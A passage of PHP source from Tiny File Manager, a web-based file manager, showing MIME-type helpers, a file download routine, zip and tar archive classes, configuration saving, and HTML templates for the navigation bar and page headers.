        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
        'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return json
 */
 function scan($dir, $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($dir) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/

function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);
    header("Cache-Control: public");
    header("Content-Transfer-Encoding: binary\n");
    header('Content-Type: $contentType');

    $contentDisposition = 'attachment';


    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;
    $size = filesize($fileLocation);

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }

    if ($size == 0) {
        die('Zero byte file! Aborting download');
    }
    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    fseek($fp, $range);

    while (!feof($fp) and (connection_status() == 0)) {
        set_time_limit(0);
        print(@fread($fp, 1024*$chunkSize));
        flush();
        ob_flush();
        // sleep(1);
    }
    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}



/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}



//--- templates functions

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}

/**
 * Show Header after login
 */
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
    <?php if (FM_USE_HIGHLIGHTJS): ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
    <?php endif; ?>
    <style>
        body { font-size:14px;color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a:hover, a:visited, a:focus { text-decoration:none !important; }
        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        #search-addon2 { background:transparent;border-left:0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
